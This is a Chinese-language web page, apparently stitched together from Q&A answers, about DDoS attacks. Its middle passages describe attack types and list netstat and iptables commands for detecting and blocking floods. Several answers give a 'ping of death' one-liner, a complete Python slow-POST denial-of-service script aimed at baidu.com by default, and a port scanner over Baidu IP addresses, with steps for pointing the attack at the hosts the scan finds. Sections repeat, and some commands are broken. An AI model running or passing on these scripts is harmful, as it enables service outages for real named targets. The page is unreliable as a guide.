ddos攻击有-ddos攻击预警代码

hacker|
146

写一个批处理DDOS攻击代码,保存bat,进行攻击

给你个最简单的,让对方内存供不应求,使其瘫痪。代码如下:

ping -l 65500 目标ip -t

这么简单?被吓着了吧?这叫“死亡之ping",人家电脑按了补丁就不行了。至于其他复杂的,你还是别多问了,不作死就不会死,具体请看我(被朋友报复整死了)

关于DDOS攻击的错误

DDOS网络攻击的7种武器

DDOS网络攻击是我们最常见的问题了,要防止DDOS网络攻击,首先就要了解其攻击的方式。

1.Synflood:该攻击以多个随机的源主机地址向目的主机发送SYN包,而在收到目的主机的SYN ACK后并不回应,这样,目的主机就为这些源主机建立了大量的连接队列,而且由于没有收到ACK一直维护着这些队列,造成了资源的大量消耗而不能向正常请求提供服务。 安易防火墙抗DDOS攻击 SYN DDOS ICMP UDP

2.Smurf:该攻击向一个子网的广播地址发一个带有特定请求(如ICMP回应请求)的包,并且将源地址伪装成想要攻击的主机地址。子网上所有主机都回应广播包请求而向被攻击主机发包,使该主机受到攻击。 小顾qq1020855230

3.Land-based:攻击者将一个包的源地址和目的地址都设置为目标主机的地址,然后将该包通过IP欺骗的方式发送给被攻击主机,这种包可以造成被攻击主机因试图与自己建立连接而陷入死循环,从而很大程度地降低了系统性能。

4.Ping of Death:根据TCP/IP的规范,一个包的长度最大为65536字节。尽管一个包的长度不能超过65536字节,但是一个包分成的多个片段的叠加却能做到。当一个主机收到了长度大于65536字节的包时,就是受到了Ping of Death攻击,该攻击会造成主机的宕机。

5.Teardrop:IP数据包在网络传递时,数据包可以分成更小的片段。攻击者可以通过发送两段(或者更多)数据包来实现Teardrop攻击。第一个包的偏移量为0,长度为N,第二个包的偏移量小于N。为了合并这些数据段,TCP/IP堆栈会分配超乎寻常的巨大资源,从而造成系统资源的缺乏甚至机器的重新启动。

6.PingSweep:使用ICMP Echo轮询多个主机。

7.Pingflood: 该攻击在短时间内向目的主机发送大量ping包,造成网络堵塞或主机资源耗尽。

网络攻击方面的术语解释2008-02-14 17:55DDOS:DDOS的中文名叫分布式拒绝服务攻击,俗称洪水攻击。DoS的攻击方式有很多种,最基本的DoS攻击就是利用合理的服务请求来占用过多的服务资源,从而使合法用户无法得到服务的响应。被攻击主机上有大量等待的TCP连接,网络中充斥着大量的无用的数据包,源地址为假,制造高流量无用数据,造成网络拥塞,使受害主机无法正常和外界通讯,利用受害主机提供的服务或传输协议上的缺陷,反复高速的发出特定的服务请求,使受害主机无法及时处理所有正常请求,严重时会造成系统死机。

Worm:网络蠕虫病毒,为了尽量减少蠕虫病毒在网络上的传播,现在常常配置ACL,把已知的蠕虫病毒常用的一些端口给封掉。蠕虫也在计算机与计算机之间自我复制,但蠕虫病毒可自动完成复制过程,因为它接管了计算机中传输文件或信息的功能。一旦计算机感染蠕虫病毒,蠕虫即可独自传播。但最危险的是,蠕虫可大量复制。例如,蠕虫可向电子邮件地址簿中的所有联系人发送自己的副本,联系人的计算机也将执行同样的操作,结果造成多米诺效应(网络通信负担沉重),业务网络和整个 Internet 的速度都将减慢。

IP Spoof:即IP 电子欺骗,我们可以说是一台主机设备冒充另外一台主机的IP地址,与其它设备通信,从而达到某种目的技术。在TCP三次握手过程中实现,黑客主机可以假装TRUST的ip向TARget发送请求连接报文,target响应(在这个过程中,黑客主机必须使用DDOS等拒绝服务攻击使trust主机无法接受target的包,而同时黑客主机又必须猜测target发送的响应包的内容以便向target发送确认报文,与target建立连接)。

SYN Flood:是当前最流行的DoS(拒绝服务攻击)与DdoS(分布式拒绝服务攻击)的方式之一,这是一种利用TCP协议缺陷,发送大量伪造的TCP连接请求,从而使得被攻击方资源耗尽(CPU满负荷或内存不足)的攻击方式。发生在Tcp连接握手过程。

Social Engineering:社会工程攻击是一种利用"社会工程学"来实施的网络攻击行为。最近流行的免费下载软件中捆绑流氓软件、免费音乐中包含病毒、网络钓鱼、垃圾电子邮件中包括间谍软件等,都是近来社会工程学的代表应用。

Honeybot:僵尸网络跟踪工具。HoneyBOT是一款能够在网络上模仿超过1000个易受攻击的服务的Windows蜜罐程序,可以捕获和记录入侵和袭击企图。它运行于Windows 2000及以上版本,是AtomicSfotwareSolutions公司的产品。

ShellCode:Shellcode实际是一段代码(也可以是填充数据),是用来发送到服务器利用特定漏洞的代码,一般可以获取权限。另外,Shellcode一般是作为数据发送给受攻击服务的。

Brute Attack:蛮力攻击就是我们常说的穷举法。

如何在Linux上用命令查询是否被DDOS攻击

服务器出现缓慢的状况可能由很多事情导致,比如错误的配置,脚本和差的硬件。但是有时候它可能因为有人对你的服务器用DoS或者DDoS进行洪水攻击。

如何在Linux上使用netstat命令查证DDOS攻击

DoS攻击或者DDoS攻击是试图让机器或者网络资源不可用的攻击。这种攻击的攻击目标网站或者服务通常是托管在高防服务器比如银行,信用卡支付网管,甚至根域名服务器,DOS攻击的实施通常迫使目标重启计算机或者消耗资源,使他们不再提供服务或者妨碍用户,访客访问。

在这篇小文章中,你可以知道在受到攻击之后如何在终端中使用netstat命令检查你的服务器。

一些例子和解释

netstat -na显示所有连接到服务器的活跃的网络连接netstat -an | grep :80 | sort只显示连接到80段口的活跃的网络连接,80是http端口,这对于web服务器非常有用,并且对结果排序.对于你从许多的连接中找出单个发动洪水攻击IP非常有用netstat -n -p|grep SYN_REC | wc -l这个命令对于在服务器上找出活跃的SYNC_REC非常有用,数量应该很低,最好少于5.在dos攻击和邮件炸弹,这个数字可能非常高.然而值通常依赖于系统,所以高的值可能平分给另外的服务器.netstat -n -p | grep SYN_REC | sort -u列出所有包含的IP地址而不仅仅是计数.netstat -n -p | grep SYN_REC | awk '{print $5}' | awk -F: '{print $1}'列出所有不同的IP地址节点发送SYN_REC的连接状态netstat -ntu | awk '{print $5}' | cut -d: -f1 | sort | uniq -c | sort -n使用netstat命令来计算每个IP地址对服务器的连接数量netstat -anp |grep 'tcp|udp' | awk '{print $5}' | cut -d: -f1 | sort | uniq -c | sort -n列出使用tcp和udp连接到服务器的数目netstat -ntu | grep ESTAB | awk '{print $5}' | cut -d: -f1 | sort | uniq -c | sort -nr检查ESTABLISHED连接而不是所有连接,这可以每个ip的连接数netstat -plan|grep :80|awk {'print $5'}|cut -d: -f 1|sort|uniq -c|sort -nk 1显示并且列出连接到80端口IP地址和连接数.80被用来作为HTTP

如何缓解DDoS攻击

当你发现攻击你服务器的IP你可以使用下面的命令来关闭他们的连接:

iptables -A INPUT 1 -s $IPADRESS -j DROP/REJECT

请注意你必须用你使用netstat命令找到的IP数替换$IPADRESS

在完成以上的命令,使用下面的命令杀掉所有httpd连接,清除你的系统,然后重启httpd服务。

killall -KILL httpd service httpd start #For Red Hat systems /etc/init/d/apache2 restar

Linux系统用netstat命令查看DDOS攻击具体命令用法如下:

代码如下:netstat -na

显示所有连接到服务器的活跃的网络连接

代码如下:netstat -an | grep :80 | sort

只显示连接到80段口的活跃的网络连接,80是http端口,这对于web服务器非常有用,并且对结果排序.对于你从许多的连接中找出单个发动洪水攻击IP非常有用

代码如下:netstat -n -p|grep SYN_REC | wc -l

这个命令对于在服务器上找出活跃的SYNC_REC非常有用,数量应该很低,最好少于5.

在dos攻击和邮件炸弹,这个数字可能非常高.然而值通常依赖于系统,所以高的值可能平分给另外的服务器.

代码如下:netstat -n -p | grep SYN_REC | sort -u

列出所有包含的IP地址而不仅仅是计数.

代码如下:netstat -n -p | grep SYN_REC | awk '{print $5}' | awk -F: '{print $1}'

列出所有不同的IP地址节点发送SYN_REC的连接状态

代码如下:netstat -ntu | awk '{print $5}' | cut -d: -f1 | sort | uniq -c | sort -n

使用netstat命令来计算每个IP地址对服务器的连接数量

代码如下:netstat -anp |grep 'tcp|udp' | awk '{print $5}' | cut -d: -f1 | sort | uniq -c | sort -n

列出使用tcp和udp连接到服务器的数目

代码如下:netstat -ntu | grep ESTAB | awk '{print $5}' | cut -d: -f1 | sort | uniq -c | sort -nr

检查ESTABLISHED连接而不是所有连接,这可以每个ip的连接数

代码如下:netstat -plan|grep :80|awk {'print $5'}|cut -d: -f 1|sort|uniq -c|sort -nk 1

显示并且列出连接到80端口IP地址和连接数.80被用来作为HTTP

如何缓解ddos攻击

当你发现攻击你服务器的IP你可以使用下面的命令来关闭他们的连接:

代码如下:iptables -A INPUT 1 -s $IPADRESS -j DROP/REJECT

请注意你必须用你使用netstat命令找到的IP数替换$IPADRESS

如何进行DDOS攻击怎么做

会Python吗?下一个Python3.7.0-3.7.3,把代码复制下,粘贴即可

代码:

import socket

import time

import threading

#Pressure Test,ddos tool

#---------------------------

MAX_CONN=20000

PORT=80

HOST="baidu.com"#在双引号里输入对方IP或域名,要保证他联网了或开机了,这里拿百度做示范(别运行!不然后果自负!!)

PAGE="/index.php"

#---------------------------

buf=("POST %s HTTP/1.1\r\n"

"Host: %s\r\n"

"Content-Length: 10000000\r\n"

"Cookie: dklkt_dos_test\r\n"

"\r\n" % (PAGE,HOST))

socks=[]

def conn_thread():

  global socks

  for i in range(0,MAX_CONN):

      s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)

      try:

          s.connect((HOST,PORT))

          s.send(buf.encode())

          print ("Send buf OK!,conn=%d\n"%i)

          socks.append(s)

      except Exception as ex:

          print ("Could not connect to server or send error:%s"%ex)

          time.sleep(10)

#end def

def send_thread():

  global socks

  while True:

      for s in socks:

          try:

              s.send("f".encode())

              #print "send OK!"

          except Exception as ex:

              print ("Send Exception:%s\n"%ex)

              socks.remove(s)

              s.close()

      time.sleep(1)

#end def

conn_th=threading.Thread(target=conn_thread,args=())

send_th=threading.Thread(target=send_thread,args=())

conn_th.start()

send_th.start()

如果你要攻击网站,以上代码虽然可行,但是,攻击效果很不好。

所以,最好用Windows里的PING进行检测

操作:

在Windows搜索栏里输入:cmd

输入:

ping -n 10 -l 1 baidu.com

//这里拿百度做示范,别真打百度!

那么,就会发现,系统反映了:

正在 Ping baidu.com [39.156.69.79] 具有 1 字节的数据:

来自 39.156.69.79 的回复: 字节=1 时间=27ms TTL=52

来自 39.156.69.79 的回复: 字节=1 时间=26ms TTL=52

来自 39.156.69.79 的回复: 字节=1 时间=27ms TTL=52

来自 39.156.69.79 的回复: 字节=1 时间=27ms TTL=52

来自 39.156.69.79 的回复: 字节=1 时间=27ms TTL=52

来自 39.156.69.79 的回复: 字节=1 时间=27ms TTL=52

来自 39.156.69.79 的回复: 字节=1 时间=29ms TTL=52

来自 39.156.69.79 的回复: 字节=1 时间=26ms TTL=52

来自 39.156.69.79 的回复: 字节=1 时间=27ms TTL=52

来自 39.156.69.79 的回复: 字节=1 时间=27ms TTL=52

39.156.69.79 的 Ping 统计信息:

  数据包: 已发送 = 10,已接收 = 10,丢失 = 0 (0% 丢失),

往返行程的估计时间(以毫秒为单位):

  最短 = 26ms,最长 = 29ms,平均 = 27ms

说明,百度的服务器有一个主服务器是39.156.69.79

那么,就来查找百度的所有服务器吧!

输入以下代码:

#绝大多数成功的网络攻击都是以端口扫描开始的,在网络安全和黑客领域,端口扫描是经常用到的技术,可以探测指定主机上是否

#开放了指定端口,进一步判断主机是否运行了某些重要的网络服务,最终判断是否存在潜在的安全漏洞,从一定意义上将也属于系统运维的范畴

#端口扫描器程序:模拟端口扫描器的工作原理,并采用多进程技术提高扫描速度

import socket

import sys

import multiprocessing

import time as t

def ports(ports_serve):

  #获取常用端口对应的服务名称

  for port in list(range(1,100))+[143,145,113,443,445,3389,8080]:

      try:

          ports_serve[port]=socket.getservbyport(port)

      except socket.error:

          pass

def ports_scan(host,ports_service):

  ports_open=[]

  try:

      sock=socket.socket(socket.AF_INET,socket.SOCK_STREAM)

      #超时时间的不同会影响扫描结果的精确度

      socket.timeout(0.01)

  except socket.error:

      print('socket creation error')

      sys.exit()

  for port in ports_service:

      try:

          #尝试连接指定端口

          sock.connect((host,port))

          #记录打开的端口

          ports_open.append(port)

          sock.close()

      except socket.error:

          pass

  return ports_open

if __name__ == '__main__':

  m=multiprocessing.Manager()

  ports_service=dict()

  results=dict()

  ports(ports_service)

  #创建进程池,允许最多8个进程同时运行

  pool = multiprocessing.Pool(processes=8)

  net = '39.156.69.'#后面的IP少一个,因为要扫描这段区域内的IP,从而进行攻击

  for host_number in map(str,range(8,10)):

      host = net + host_number

      #创建一个新进程,同时记录其运行结果

      results[host] = pool.apply_async(ports_scan,(host,ports_service))

      print('starting '+host+'...')

  #关闭进程池,close()必须在join()之前调用

  pool.close()

  #等待进程池中的进程全部执行结束

  pool.join()

  #打印输出结果

  for host in results:

      print('='*30)

      print(host,'.'*10)

      for port in results[host].get():

          print(port,':',ports_service[port])

       

你会发现,Python反映了:

starting 39.156.69.8...

starting 39.156.69.9...

//并不是指百度只有这两个服务器!而是我们目前只能扫描到两个!

接着,运行DDoS攻击程序,把IP分别改为39.156.69.8和39.156.69.9

就可以实现DDoS攻击了。

//注:请不要用于违法用途,并且不要随意进行攻击。如想使用,可攻击虚拟机,但不要攻击外网IP和域名!!!

0条大神的评论

发表评论